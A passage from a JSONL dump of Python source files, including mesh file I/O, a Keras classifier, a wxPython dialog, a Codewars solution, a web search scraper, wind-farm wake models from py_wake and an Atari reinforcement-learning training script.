f.write(\"%d\\t%d\\t%d\\n\" % (Ni, Nj, Nk))\n\n    for iVol in range(Nvol):\n        size = [N0[iVol], N1[iVol], N2[iVol]]\n        Ni = size[axes.index(\"i\")]\n        Nj = size[axes.index(\"j\")]\n        Nk = size[axes.index(\"k\")]\n        # Get distributions for each axis\n        d0 = getDistribution(dist[iVol][0], size[0])\n        d1 = getDistribution(dist[iVol][1], size[1])\n        d2 = getDistribution(dist[iVol][2], size[2])\n\n        # Initialize coordinate arrays\n        X = np.zeros(size + [3])\n\n        for j in range(size[0]):\n            P = slices[iVol, 0, 0] + np.outer(d0, (slices[iVol + 1, 0, 0] - slices[iVol, 0, 0]))[j]\n            Q = slices[iVol, 0, 1] + np.outer(d0, (slices[iVol + 1, 0, 1] - slices[iVol, 0, 1]))[j]\n            R = slices[iVol, 1, 0] + np.outer(d0, (slices[iVol + 1, 1, 0] - slices[iVol, 1, 0]))[j]\n            S = slices[iVol, 1, 1] + np.outer(d0, (slices[iVol + 1, 1, 1] - slices[iVol, 1, 1]))[j]\n            for k in range(size[1]):\n                U = P + np.outer(d1, (R - P))[k]\n                V = Q + np.outer(d1, (S - Q))[k]\n                X[j, k] = U + np.outer(d2, (V - U))\n\n        for dim in range(3):\n            line = \"\"\n            for k in range(Nk):\n                for j in range(Nj):\n                    for i in range(Ni):\n                        idc = [-1, -1, -1]\n                        idc[axes.index(\"i\")] = i\n                        idc[axes.index(\"j\")] = j\n                        idc[axes.index(\"k\")] = k\n                        line += f\"{X[idc[0], idc[1], idc[2], dim]: .4e}\\t\"\n                        if len(line) + 11 > 80:\n                            f.write(line + \"\\n\")\n                            line = \"\"\n            if len(line) > 0:\n                f.write(line + \"\\n\")\n\n    f.close()\n\n\ndef readPlot3DSurfFile(fileName):\n    \"\"\"Read a plot3d file and return the points and connectivity in\n    an unstructured mesh format\"\"\"\n\n    pts = None\n\n    f = open(fileName)\n    nSurf = np.fromfile(f, \"int\", count=1, sep=\" \")[0]\n    sizes = np.fromfile(f, \"int\", count=3 * nSurf, sep=\" \").reshape((nSurf, 3))\n    nElem = 0\n    for i in range(nSurf):\n        nElem += (sizes[i, 0] - 1) * (sizes[i, 1] - 1)\n\n    # Generate the uncompacted point and connectivity list:\n    p0 = np.zeros((nElem * 2, 3))\n    v1 = np.zeros((nElem * 2, 3))\n    v2 = np.zeros((nElem * 2, 3))\n\n    elemCount = 0\n\n    for iSurf in range(nSurf):\n        curSize = sizes[iSurf, 0] * sizes[iSurf, 1]\n        pts = np.zeros((curSize, 3))\n        for idim in range(3):\n            pts[:, idim] = np.fromfile(f, \"float\", curSize, sep=\" \")\n\n        pts = pts.reshape((sizes[iSurf, 0], sizes[iSurf, 1], 3), order=\"f\")\n        for j in range(sizes[iSurf, 1] - 1):\n            for i in range(sizes[iSurf, 0] - 1):\n                # Each quad is split into two triangles\n                p0[elemCount] = pts[i, j]\n                v1[elemCount] = pts[i + 1, j] - pts[i, j]\n                v2[elemCount] = pts[i, j + 1] - pts[i, j]\n\n                elemCount += 1\n\n                p0[elemCount] = pts[i + 1, j]\n                v1[elemCount] = pts[i + 1, j + 1] - pts[i + 1, j]\n                v2[elemCount] = pts[i, j + 1] - pts[i + 1, j]\n\n                elemCount += 1\n\n    return p0, v1, v2\n","sub_path":"pygeo/geo_utils/file_io.py","file_name":"file_io.py","file_ext":"py","file_size_in_byte":11310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"653509870","text":"from matplotlib.matlab import *\n\nfont = {'fontname'   : 'courier',\n        'color'      : 'r',\n        'fontweight' : 'normal',\n        'fontsize'   : 12}\n\ndef f(t):\n    s1 = cos(2*pi*t)\n    e1 = exp(-t)\n    return multiply(s1,e1)\n\nt1 = arange(0.0, 5.0, 0.1)\nt2 = arange(0.0, 5.0, 0.02)\n\nplot(t1, f(t1), 'bo', t2, f(t2), 'k')\ntitle('Damped exponential decay', font, fontsize=14, color='r')\ntext(2, 0.65, 'cos(2 pi t) exp(-t)', font, color='k')\nxlabel('time (s)', font, fontangle='italic')\nylabel('voltage (mV)', font)\n\n#savefig('text_themes')\nshow()\n","sub_path":"tags/post_numerix/matplotlib/examples/text_themes.py","file_name":"text_themes.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"597996241","text":"\"\"\"This is a model used for a submission in the Springleaf\ncomptition that uses Neural Networks.\n\"\"\"\n\nimport time\n\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import SGD, RMSprop, Adam, Adadelta\nfrom keras.regularizers import l1l2\nfrom keras.utils import np_utils\n\nfrom sklearn.metrics import confusion_matrix, roc_auc_score\n\nfrom BaseModel import BaseModel\n\n\nclass NeuralNetModel(BaseModel):\n    \"\"\"Model that implements a neural net\"\"\"\n\n    def _fit(self, X, y, train_size=0.7, batch_size=128):\n        \"\"\"Fits the model on data X with labels y. `train_size`\n        determines the percentage of data that is used for training\n        `1 - train_size` is used for validation. By default `train_size`\n        is 0.7.\n\n        :param X: Features.\n        :type X: :class:`np.array`\n        :param y: Target.\n        :type y: :class:`np.array`\n        \"\"\"\n        nrows = X.shape[0]\n        if True:\n            X_pos = X[y == 1]\n            y_pos = y[y == 1]\n            n_rep = 2\n            #import ipdb; ipdb.set_trace()\n            X = np.concatenate((X, np.repeat(X_pos, n_rep, axis=0)))\n            print('Shape of X in class balancing', X.shape)\n            y = np.concatenate((y, np.repeat(y_pos, n_rep, axis=0)))\n            print('Shape of y in class balancing', y.shape)\n\n        pos_weight = y.sum() / nrows\n        y = np_utils.to_categorical(y)\n\n        # This is not proper, but I right now I wanna whip out\n        # something quick. Will fix it later: I am selecting the\n        # testing set from the features that are being used only\n        # for purposes of getting a confusion matrix without much\n        # fuss.\n        idx = np.random.choice(np.r_[:nrows], int(0.1 * nrows))\n        X_test = X[idx, :]\n        y_test = y[idx]\n        class_weight = {0: (1 - pos_weight), 1: pos_weight}\n\n        #import ipdb; ipdb.set_trace()\n        t0 = time.time()\n        self.model.fit(X, y, verbose=2, show_accuracy=True, nb_epoch=20,\n                       validation_split=(1 - train_size),\n                       batch_size=batch_size, class_weight=class_weight)\n        t1 = time.time()\n\n        print('Training took %f seconds' % (t1 - t0))\n\n        y_pred = self.model.predict(X_test, batch_size=batch_size)\n        y_pred = y_pred.argmax(axis=1)\n        y_test = np.argmax(y_test, axis=1)\n        print('Confusion Matrix:')\n        # import ipdb; ipdb.set_trace()\n        cf = confusion_matrix(y_test, y_pred) / y_test.shape[0]\n        print(cf)\n        auc = roc_auc_score(y_test, y_pred)\n        print('Accuracy: %f Auc: %f' % (cf[0,0] + cf[1,1], auc))\n\n    def _create_model(self):\n        model = Sequential()\n        model.add(Dense(700, input_shape=(self.n_features, )))\n        model.add(Activation('tanh'))\n        model.add(Dropout(0.5))\n\n        model.add(Dense(428))\n        model.add(Activation('tanh'))\n        model.add(Dropout(0.2))\n\n        model.add(Dense(128))\n        model.add(Activation('tanh'))\n        model.add(Dropout(0.2))\n\n        model.add(Dense(64))\n        model.add(Activation('tanh'))\n\n        model.add(Dense(32))\n        model.add(Activation('tanh'))\n\n        model.add(Dense(self.n_classes))\n        model.add(Activation('softmax'))\n\n        sgd = SGD(lr=1, momentum=0.5)\n        #rms = RMSprop()\n        #adam = Adam()\n        model.compile(loss='binary_crossentropy', optimizer=sgd)\n        return model\n\n    def _predict(self, X, batch_size=128):\n        return self.model.predict(X,\n                                  batch_size=batch_size).argmax(axis=1)\n","sub_path":"springleaf_solver/NeuralNetModel.py","file_name":"NeuralNetModel.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"148673085","text":"import wx\n\n\nclass EditProduk(wx.Dialog):\n    def __init__(self, parent):\n        wx.Dialog.__init__(self, parent, id=wx.ID_ANY, title=u\"Edit produk\", pos=wx.DefaultPosition,\n                           size=wx.DefaultSize, style=wx.DEFAULT_DIALOG_STYLE)\n\n        self.SetSizeHints(wx.DefaultSize, wx.DefaultSize)\n\n        fgSizer1 = wx.FlexGridSizer(0, 2, 0, 0)\n        fgSizer1.SetFlexibleDirection(wx.BOTH)\n        fgSizer1.SetNonFlexibleGrowMode(wx.FLEX_GROWMODE_SPECIFIED)\n\n        self.label_supplier = wx.StaticText(self, wx.ID_ANY, u\"Supplier :\", wx.DefaultPosition, wx.DefaultSize, 0)\n        self.label_supplier.Wrap(-1)\n\n        fgSizer1.Add(self.label_supplier, 0, wx.ALL, 5)\n\n        input_supplierChoices = []\n        self.input_supplier = wx.ComboBox(self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size(150,-1),\n                                          input_supplierChoices, 0)\n        fgSizer1.Add(self.input_supplier, 0, wx.ALL, 5)\n\n        self.label_produk = wx.StaticText(self, wx.ID_ANY, u\"Nama produk :\", wx.DefaultPosition, wx.DefaultSize, 0)\n        self.label_produk.Wrap(-1)\n\n        fgSizer1.Add(self.label_produk, 0, wx.ALL, 5)\n\n        self.input_produk = wx.TextCtrl(self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size(150,-1), 0)\n        fgSizer1.Add(self.input_produk, 0, wx.ALL, 5)\n\n        self.label_jumlah = wx.StaticText(self, wx.ID_ANY, u\"Jumlah :\", wx.DefaultPosition, wx.DefaultSize, 0)\n        self.label_jumlah.Wrap(-1)\n\n        fgSizer1.Add(self.label_jumlah, 0, wx.ALL, 5)\n\n        self.input_jumlah = wx.TextCtrl(self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size(150,-1), 0)\n        fgSizer1.Add(self.input_jumlah, 0, wx.ALL, 5)\n\n        self.label_harga = wx.StaticText(self, wx.ID_ANY, u\"Harga :\", wx.DefaultPosition, wx.DefaultSize, 0)\n        self.label_harga.Wrap(-1)\n\n        fgSizer1.Add(self.label_harga, 0, wx.ALL, 5)\n\n        self.input_harga = wx.TextCtrl(self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size(150,-1), 0)\n        fgSizer1.Add(self.input_harga, 0, wx.ALL, 5)\n\n        self.btn_batal = wx.Button(self, wx.ID_ANY, u\"Batal\", wx.DefaultPosition, wx.DefaultSize, 0)\n        fgSizer1.Add(self.btn_batal, 0, wx.ALL, 5)\n\n        self.btn_simpan = wx.Button(self, wx.ID_ANY, u\"Simpan\", wx.DefaultPosition, wx.DefaultSize, 0)\n        fgSizer1.Add(self.btn_simpan, 0, wx.ALL, 5)\n\n        self.SetSizer(fgSizer1)\n        self.Layout()\n        fgSizer1.Fit(self)\n\n        self.Centre(wx.BOTH)\n","sub_path":"View/EditProduk.py","file_name":"EditProduk.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"35398005","text":"\"\"\"\nCheck the exam.\n\nThe link: https://www.codewars.com/kata/5a3dd29055519e23ec000074\n\nProblem Description:\nThe first input array is the key to the correct answers to an exam, like [\"a\", \"a\", \"b\", \"d\"]. The second one contains a student's submitted answers.\nThe two arrays are not empty and are the same length. Return the score for this array of answers, giving +4 for each correct answer, -1 for each incorrect\nanswer, and +0 for each blank answer, represented as an empty string.\n\nIf the score < 0, return 0.\n  \nExamples:\n      checkExam([\"a\", \"a\", \"b\", \"b\"], [\"a\", \"c\", \"b\", \"d\"]) → 6\n      checkExam([\"a\", \"a\", \"c\", \"b\"], [\"a\", \"a\", \"b\",  \"\"]) → 7\n      checkExam([\"a\", \"a\", \"b\", \"c\"], [\"a\", \"a\", \"b\", \"c\"]) → 16\n      checkExam([\"b\", \"c\", \"b\", \"a\"], [\"\",  \"a\", \"a\", \"c\"]) → 0\n\"\"\"\n\n\ndef check_exam(arr1,arr2):\n    i = 0\n    sum = 0\n    while i < len(arr1):\n        \n        if arr1[i] == arr2[i]:\n            sum+=4\n        else:\n            if arr2[i] == \"\":\n                sum = sum + 0\n            else:\n                sum-=1\n        i+=1\n    if sum < 0:\n        return 0\n    return sum\n  \n","sub_path":"8-kyu/check-the-examp.py","file_name":"check-the-examp.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"130456881","text":"# -*- coding: utf-8 -*-\nfrom archives.collection import Collection\nfrom bs4 import BeautifulSoup\nimport requests\nfrom urllib.parse import quote_plus\n\n\nclass GettyRI(Collection):\n    results_count = None\n    results_url = None\n    result_search_term = None\n    inputs = None\n\n    def keywordResultsCount(self, **kwargs):\n        keywords = self.add_unsupported_fields_to_keywords(kwargs)\n        keywords = quote_plus(keywords)\n\n        url = \"http://www.getty.edu/Search/SearchServlet?qt={0}\".format(keywords)\n        self.results_url = url\n\n        # url = \"http://www.getty.edu/Search/SearchServlet?qt=\"+query\n        html = requests.get(url).text\n        soup = BeautifulSoup(html, \"lxml\")\n\n        table = soup.find_all(\"table\")[2]\n        num = table.find(\"td\").contents[0].strip().split()\n        count = num[1]\n\n        # self.results_url = url\n        if (count.isdigit()):\n            self.results_count = count\n        else:\n            self.results_count = 0\n        return self\n","sub_path":"archives/gettyri.py","file_name":"gettyri.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"71975590","text":"from numpy import newaxis as na\nimport numpy as np\nfrom py_wake.superposition_models import SquaredSum, LinearSum\nfrom py_wake.wind_farm_models.engineering_models import PropagateDownwind\nfrom py_wake.utils.area_overlapping_factor import AreaOverlappingFactor\nfrom py_wake.rotor_avg_models.rotor_avg_model import RotorCenter\nfrom py_wake.turbulence_models.stf import STF2017TurbulenceModel\nfrom py_wake.deficit_models.gaussian import NiayifarGaussianDeficit\n\n\nclass NOJDeficit(NiayifarGaussianDeficit, AreaOverlappingFactor):\n\n    args4deficit = ['WS_ilk', 'WS_eff_ilk', 'D_src_il', 'D_dst_ijl', 'dw_ijlk', 'cw_ijlk', 'ct_ilk']\n\n    def __init__(self, k=.1, use_effective_ws=False):\n        self.a = [0, k]\n        self.use_effective_ws = use_effective_ws\n\n    def _calc_layout_terms(self, WS_ilk, WS_eff_ilk, D_src_il, D_dst_ijl, dw_ijlk, cw_ijlk, **kwargs):\n        WS_ref_ilk = (WS_ilk, WS_eff_ilk)[self.use_effective_ws]\n        R_src_il = D_src_il / 2\n        wake_radius_ijlk = self.wake_radius(D_src_il, dw_ijlk, **kwargs)\n        term_denominator_ijlk = (wake_radius_ijlk / R_src_il[:, na, :, na])**2\n        term_denominator_ijlk += (term_denominator_ijlk == 0)\n        A_ol_factor_ijlk = self.overlapping_area_factor(wake_radius_ijlk, dw_ijlk, cw_ijlk, D_src_il, D_dst_ijl)\n\n        with np.warnings.catch_warnings():\n            np.warnings.filterwarnings('ignore', r'invalid value encountered in true_divide')\n            self.layout_factor_ijlk = WS_ref_ilk[:, na] * (dw_ijlk > 0) * (A_ol_factor_ijlk / term_denominator_ijlk)\n\n    def calc_deficit(self, WS_ilk, WS_eff_ilk, D_src_il, D_dst_ijl, dw_ijlk, cw_ijlk, ct_ilk, **kwargs):\n        if not self.deficit_initalized:\n            kwargs['ct_ilk'] = ct_ilk\n            self._calc_layout_terms(WS_ilk, WS_eff_ilk, D_src_il, D_dst_ijl, dw_ijlk, cw_ijlk, **kwargs)\n        ct_ilk = np.minimum(ct_ilk, 1)   # treat ct_ilk for np.sqrt()\n        term_numerator_ilk = (1 - np.sqrt(1 - ct_ilk))\n        return term_numerator_ilk[:, na] * self.layout_factor_ijlk\n\n    def wake_radius(self, D_src_il, dw_ijlk, **kwargs):\n        k_ijlk = np.atleast_3d(self.k_ilk(kwargs.get('TI_eff_ilk', 0)))[:, na]\n        wake_radius_ijlk = (k_ijlk * dw_ijlk + D_src_il[:, na, :, na] / 2)\n        return wake_radius_ijlk\n\n    def calc_deficit_convection(self, WS_ilk, WS_eff_ilk, D_src_il, dw_ijlk, cw_ijlk, ct_ilk, **kwargs):\n        raise NotImplementedError(\"calc_deficit_convection not implemented for NOJ\")\n\n\nclass NOJ(PropagateDownwind):\n    def __init__(self, site, windTurbines, rotorAvgModel=RotorCenter(),\n                 k=.1, superpositionModel=SquaredSum(),\n                 deflectionModel=None, turbulenceModel=None,\n                 groundModel=None):\n        \"\"\"\n        Parameters\n        ----------\n        site : Site\n            Site object\n        windTurbines : WindTurbines\n            WindTurbines object representing the wake generating wind turbines\n        k : float, default 0.1\n            wake expansion factor\n        superpositionModel : SuperpositionModel, default SquaredSum\n            Model defining how deficits sum up\n        blockage_deficitModel : DeficitModel, default None\n            Model describing the blockage(upstream) deficit\n        deflectionModel : DeflectionModel, default None\n            Model describing the deflection of the wake due to yaw misalignment, sheared inflow, etc.\n        turbulenceModel : TurbulenceModel, default None\n            Model describing the amount of added turbulence in the wake\n        \"\"\"\n        PropagateDownwind.__init__(self, site, windTurbines,\n                                   wake_deficitModel=NOJDeficit(k),\n                                   rotorAvgModel=rotorAvgModel,\n                                   superpositionModel=superpositionModel,\n                                   deflectionModel=deflectionModel,\n                                   turbulenceModel=turbulenceModel,\n                                   groundModel=groundModel)\n\n\nclass NOJLocalDeficit(NOJDeficit, AreaOverlappingFactor):\n    \"\"\"\n    Largely identical to NOJDeficit(), however using local quantities for the\n    inflow wind speed and turbulence intensity. The latter input is a also a new\n    addition as the wake expansion factor, k, is now a function of the local\n    TI. The relationship between TI and k is taken from the linear connection\n    Niayifar and Porte-Agel (2016) estbalished for the Gaussian wake model.\n    The expansion rates in the Jensen and Gaussian describe the same process.\n    \"\"\"\n    args4deficit = ['WS_ilk', 'WS_eff_ilk', 'D_src_il', 'D_dst_ijl', 'dw_ijlk', 'cw_ijlk', 'ct_ilk', 'TI_eff_ilk']\n\n    def __init__(self, a=[0.38, 4e-3], use_effective_ws=True):\n        self.a = a\n        self.use_effective_ws = use_effective_ws\n\n\nclass NOJLocal(PropagateDownwind):\n    def __init__(self, site, windTurbines, rotorAvgModel=RotorCenter(),\n                 a=[0.38, 4e-3], use_effective_ws=True,\n                 superpositionModel=LinearSum(),\n                 deflectionModel=None,\n                 turbulenceModel=STF2017TurbulenceModel()):\n        \"\"\"\n        Parameters\n        ----------\n        site : Site\n            Site object\n        windTurbines : WindTurbines\n            WindTurbines object representing the wake generating wind turbines\n        k : float, default 0.1\n            wake expansion factor\n        superpositionModel : SuperpositionModel, default SquaredSum\n            Model defining how deficits sum up\n        blockage_deficitModel : DeficitModel, default None\n            Model describing the blockage(upstream) deficit\n        deflectionModel : DeflectionModel, default None\n            Model describing the deflection of the wake due to yaw misalignment, sheared inflow, etc.\n        turbulenceModel : TurbulenceModel, default None\n            Model describing the amount of added turbulence in the wake\n        \"\"\"\n        PropagateDownwind.__init__(self, site, windTurbines,\n                                   wake_deficitModel=NOJLocalDeficit(a=a, use_effective_ws=use_effective_ws),\n                                   rotorAvgModel=rotorAvgModel,\n                                   superpositionModel=superpositionModel,\n                                   deflectionModel=deflectionModel,\n                                   turbulenceModel=turbulenceModel)\n\n\nclass TurboNOJDeficit(NOJDeficit, AreaOverlappingFactor):\n    \"\"\"\n    Modified definition of the wake expansion given by Nygaard [1], which\n    assumes the wake expansion rate to be proportional to the local turbulence\n    intensity in the wake. Here the local turbulence intensity is defined as\n    the combination of ambient and wake added turbulence. Using the added\n    wake turbulence model by Frandsen and integrating, an analytical expression\n    for the wake radius can be obtained.\n    The definition in [1] of ambient turbulence is the free-stream TI and for\n    this the model constant A has been tuned, however a fully consistent\n    formulation of the model should probably use the locally effective TI,\n    which includes the added turbulence from upstream turbines.\n    [1] Nygaard 2020 J. Phys.: Conf. Ser. 1618 062072\n        https://doi.org/10.1088/1742-6596/1618/6/062072\n    \"\"\"\n    args4deficit = ['WS_ilk', 'WS_eff_ilk', 'D_src_il', 'D_dst_ijl',\n                    'dw_ijlk', 'cw_ijlk', 'ct_ilk', 'TI_ilk', 'TI_eff_ilk']\n\n    def __init__(self, A=.6, cTI=[1.5, 0.8], use_effective_ws=False, use_effective_ti=False):\n        self.A = A\n        self.use_effective_ws = use_effective_ws\n        self.use_effective_ti = use_effective_ti\n        self.cTI = cTI\n\n    def wake_radius(self, D_src_il, dw_ijlk, **kwargs):\n        TI_ref_ilk = (kwargs['TI_ilk'], kwargs['TI_eff_ilk'])[\n            self.use_effective_ti]\n        ct_ilk = kwargs['ct_ilk']\n        # constants from Frandsen\n        c1, c2 = self.cTI\n\n        # constants related to ambient turbulence\n        alpha_ilk = c1 * TI_ref_ilk\n        # avoid zero division\n        ct_ilk = np.maximum(ct_ilk, 1e-20)\n        beta_ilk = c2 * TI_ref_ilk / np.sqrt(ct_ilk)\n\n        fac_ilk = self.A * TI_ref_ilk * D_src_il[..., na] / beta_ilk\n        term1_ijlk = np.sqrt(\n            (alpha_ilk[:, na] + beta_ilk[:, na] * dw_ijlk / D_src_il[:, na, :, na])**2 + 1)\n        term2_ilk = np.sqrt(1 + alpha_ilk**2)\n        term3_ijlk = (term1_ijlk + 1) * alpha_ilk[:, na]\n        term4_ijlk = (term2_ilk[:, na] + 1) * (alpha_ilk[:, na] +\n                                               beta_ilk[:, na] * np.abs(dw_ijlk) / D_src_il[:, na, :, na])\n\n        wake_radius_ijlk = 0.5 * (D_src_il[:, na, :, na] + fac_ilk[:, na] * (\n            term1_ijlk - term2_ilk[:, na] - np.log(term3_ijlk / term4_ijlk)))\n\n        return wake_radius_ijlk\n\n\ndef main():\n    if __name__ == '__main__':\n        from py_wake.examples.data.iea37._iea37 import IEA37Site\n        from py_wake.examples.data.iea37._iea37 import IEA37_WindTurbines\n        from py_wake.turbulence_models.stf import STF2017TurbulenceModel\n        import matplotlib.pyplot as plt\n\n        # setup site, turbines and wind farm model\n        site = IEA37Site(16)\n        x, y = site.initial_position.T\n        windTurbines = IEA37_WindTurbines()\n\n        wf_model = NOJ(site, windTurbines)\n        wf_model_local = NOJLocal(site, windTurbines, turbulenceModel=STF2017TurbulenceModel())\n        wf_model_turbo = PropagateDownwind(site, windTurbines, rotorAvgModel=RotorCenter(),\n                                           wake_deficitModel=TurboNOJDeficit(\n                                               use_effective_ws=True, use_effective_ti=False),\n                                           superpositionModel=LinearSum(),\n                                           turbulenceModel=STF2017TurbulenceModel())\n        # wf_model_turbo = NOJLocal(\n        #     site, windTurbines, turbulenceModel=STF2017TurbulenceModel())\n        # run wind farm simulation\n        sim_res = wf_model(x, y)\n        sim_res_local = wf_model_local(x, y)\n        sim_res_turbo = wf_model_turbo(x, y)\n        # calculate AEP\n        aep = sim_res.aep().sum()\n        aep_local = sim_res_local.aep().sum()\n        aep_turbo = sim_res_turbo.aep().sum()\n\n        # plot wake map\n        fig, (ax1, ax2, ax3) = plt.subplots(\n            1, 3, figsize=(11, 4.5), tight_layout=True)\n        levels = np.arange(0, 10.5, 0.5)\n        print(wf_model)\n        flow_map = sim_res.flow_map(wd=30, ws=9.8)\n        flow_map.plot_wake_map(levels=levels, ax=ax1, plot_colorbar=False)\n        flow_map.plot_windturbines(ax=ax1)\n        ax1.set_title('Original Jensen, AEP: %.2f GWh' % aep)\n\n        # plot wake map\n        print(wf_model_local)\n        flow_map = sim_res_local.flow_map(wd=30, ws=9.8)\n        flow_map.plot_wake_map(levels=levels, ax=ax2, plot_colorbar=False)\n        flow_map.plot_windturbines(ax=ax2)\n        ax2.set_title('Local Jensen, AEP: %.2f GWh' % aep_local)\n\n        # plot wake map\n        print(wf_model_turbo)\n        flow_map = sim_res_turbo.flow_map(wd=30, ws=9.8)\n        flow_map.plot_wake_map(levels=levels, ax=ax3, plot_colorbar=False)\n        flow_map.plot_windturbines(ax=ax3)\n        ax3.set_title('Turbo Jensen, AEP: %.2f GWh' % aep_turbo)\n\n        plt.figure()\n        flow_map.plot_ti_map()\n        plt.title('TI map for NOJLocal with STF2017 turbulence model')\n        plt.show()\n\n        # plot wake width as in Nygaard 2020\n        D = 1\n        D_src_il = np.array([[D]])\n        x = np.linspace(0, 60, 100)\n        dw_ijlk = x[na, :, na, na]\n\n        noj = NOJDeficit(k=0.04)\n        noj_wr = noj.wake_radius(D_src_il, dw_ijlk)\n\n        ct_ilk = np.array([[[8 / 9]]])  # thrust coefficient\n        TI_ilk = np.array([[[0.06]]])\n        TI_eff_ilk = np.array([[[0.06]]])\n        tj = TurboNOJDeficit()\n        tj_wr = tj.wake_radius(\n            D_src_il, dw_ijlk, ct_ilk=ct_ilk, TI_ilk=TI_ilk, TI_eff_ilk=TI_eff_ilk)\n\n        plt.figure()\n        plt.title(\n            'Wake width comparison, NOJ orig and TurboNOJ (Nygaard2020) TI=6%')\n        plt.plot(x, noj_wr[0, :, 0, 0], label='NOJ, k=0.04')\n        plt.plot(x, tj_wr[0, :, 0, 0], label='TurboNOJ')\n        plt.xlabel('x/D')\n        plt.ylabel('y/D')\n        plt.grid()\n        plt.legend()\n        plt.show()\n\n\nmain()\n","sub_path":"py_wake/deficit_models/noj.py","file_name":"noj.py","file_ext":"py","file_size_in_byte":12238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"337117473","text":"### SOmething Clever here\n\"\"\" Here lies the definition of the Globals class\"\"\"\n\n# From Game\nfrom utils.singleton import Singleton\nfrom character.player import Player\nfrom cartogropher import Cart\n\nclass Globals(metaclass=Singleton):\n    \"\"\" Global Class \"\"\"\n    def __init__(self):\n        \"\"\" Initializes the properties \"\"\"\n        self.player = Player()\n        self.map = Cart()\n        self.__coords = {\n            \"x\": 0,\n            \"y\": 0\n        }\n        self.__action = \"\"\n\n\n\n    @property\n    def coords(self):\n        \"\"\" gets the coords of the player \"\"\"\n        return self.__coords\n\n    @coords.setter\n    def coords(self, value):\n        \"\"\" sets the value of the coords\"\"\"\n        self.__cords = value\n\n    @property\n    def action(self):\n        \"\"\" Gets the value of the action\"\"\"\n        return self.__action\n\n    @action.setter\n    def action(self, value):\n        \"\"\" sets the value of action\"\"\"\n        if not isinstance(value, str):\n            raise TypeError(\"Action must be of type string\", value, type(value))\n        self.__action = value\n\n\n","sub_path":"src/globs.py","file_name":"globs.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"457444777","text":"\"\"\"\nThis code was modified from a OpenAI baseline code - baselines0/baselines0/deepq/experiments/run_atari.py\nfor running ADFQ in Atari enviornment\n\"\"\"\n\nfrom baselines0.common import set_global_seeds\nfrom baselines0 import logger\n\nimport models\nimport deepadfq\nfrom logger import Logger\nimport envs\n\nimport numpy as np\nimport tensorflow as tf\nimport os, datetime, json, argparse, time\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--env', help='environment ID', default='BreakoutNoFrameskip-v4')\nparser.add_argument('--seed', help='RNG seed', type=int, default=0)\nparser.add_argument('--prioritized', type=int, default=1)\nparser.add_argument('--prioritized-replay-alpha', type=float, default=0.6)\nparser.add_argument('--mode', choices=['train', 'test'], default='train')\nparser.add_argument('--dueling', type=int, default=0)\nparser.add_argument('--nb_train_steps', type=int, default=int(5*1e6))\nparser.add_argument('--nb_warmup_steps', type=int, default = 10000)\nparser.add_argument('--nb_test_steps',type=int, default = 10000)\nparser.add_argument('--nb_epoch_steps', type=int, default = 50000)\nparser.add_argument('--batch_size', type=int, default=32)\nparser.add_argument('--target_update_freq', type=float, default=1000)\nparser.add_argument('--learning_rate', type=float, default=0.00025)\nparser.add_argument('--lr_decay_factor', type=float, default=1.0)\nparser.add_argument('--lr_growth_factor', type=float, default=1.0)\nparser.add_argument('--gamma', type=float, default=.99)\nparser.add_argument('--num_layers', type=int, default=1)\nparser.add_argument('--num_units', type=int, default=256)\nparser.add_argument('--log_dir', type=str, default='.')\nparser.add_argument('--log_fname', type=str, default='model.pkl')\nparser.add_argument('--reload_path', type=str, default='')\nparser.add_argument('--init_t', type=int, default=0)\nparser.add_argument('--buffer_size', type=int, default=50000)\nparser.add_argument('--eps_fraction', type=float, default=0.1)\nparser.add_argument('--eps_min', type=float, default=.01)\nparser.add_argument('--test_eps', type=float, default=.0)\nparser.add_argument('--init_mean', type =float, default=1.)\nparser.add_argument('--init_sd', type=float, default=50.)\nparser.add_argument('--device', type=str, default='/cpu:0')\nparser.add_argument('--gpu_memory',type=float, default=1.0)\nparser.add_argument('--alg', choices=['adfq','adfq-v2'], default='adfq')\nparser.add_argument('--act_policy', choices=['egreedy','bayesian'], default='egreedy')\nparser.add_argument('--record',type=int, default=0)\nparser.add_argument('--render', type=int, default=0)\nparser.add_argument('--varth', type=float,default=1e-5)\nparser.add_argument('--noise', type=float,default=0.0)\nparser.add_argument('--repeat', type=int, default=1)\nparser.add_argument('--scope',type=str, default='deepadfq')\n\nargs = parser.parse_args()\n\ndef train(seed, save_dir):\n    set_global_seeds(seed)\n    save_dir_0 = os.path.join(save_dir, 'seed_%d'%seed)\n    os.makedirs(save_dir_0)\n\n    env = envs.make(args.env, 'atari', record = bool(args.record), directory=save_dir_0)\n\n    nb_test_steps = args.nb_test_steps if args.nb_test_steps > 0 else None\n    reload_path = args.reload_path if args.reload_path else None\n\n    with tf.device(args.device):\n        with tf.compat.v1.variable_scope('seed_%d'%seed):\n            model = models.cnn_to_mlp(\n                convs=[(32, 8, 4), (64, 4, 2), (64, 3, 1)],\n                hiddens=[args.num_units]*args.num_layers,\n                dueling=bool(args.dueling),\n                init_mean = args.init_mean,\n                init_sd = args.init_sd,\n            )\n\n            act = deepadfq.learn(\n                env,\n                q_func=model,\n                